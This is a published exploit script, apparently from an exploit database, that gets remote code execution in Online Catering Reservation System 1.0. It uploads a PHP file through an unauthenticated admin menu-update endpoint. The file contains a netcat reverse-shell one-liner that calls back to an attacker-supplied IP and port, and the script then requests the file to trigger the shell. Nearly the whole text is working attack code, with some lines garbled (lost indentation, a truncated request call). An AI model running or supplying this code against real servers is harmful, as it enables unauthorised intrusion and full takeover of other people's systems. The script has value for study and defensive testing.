# Exploit Title: Online Catering Reservation System 1.0 - Unauthenticated Remote Code Execution  
# Date: 28-02-2021  
# Exploit Author: Christian Vierschilling  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: PHP 7.4.14, Linux x64_x86  
# --- Description --- #  
#The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
# --- Proof of concept --- #  
import random  
import sys  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
def file_upload(target_ip, attacker_ip, attacker_port):  
random_file_name = str(random.randint(100000, 999999)) + "revshell.php"  
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)  
m = MultipartEncoder(fields={'id': '1337', 'menu':'PWN', 'cat': '1337', 'subcat':'PWN','desc':'PWN','price':'13.37', 'image': (random_file_name, revshell_string, 'application/x-php'),'update':''})  
print("(+) Uploading php reverse shell..")  
r1 ='http://{}/reservation/admin/menu_update.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})  
if "Successfully updated menu details!" in r1.text:  
print("(+) File upload seems to have been successful!")  
return random_file_name  
print("(-) Oh no, file upload seems to have failed.. quitting.")  
def trigger_shell(target_ip, filename):  
url = 'http://{}/reservation/images/{}'.format(target_ip, filename)  
print("(+) Now trying to trigger our shell by requesting {} ..".format(url))  
r2 = requests.get(url)  
return None  
def main():  
if len(sys.argv) != 4:  
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])  
print('(+) eg: %s 4444' % sys.argv[0])  
target_ip = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
uploaded_filename = file_upload(target_ip, attacker_ip, attacker_port)  
trigger_shell(target_ip, uploaded_filename)  
print("\n(+) done!")  
if __name__ == "__main__":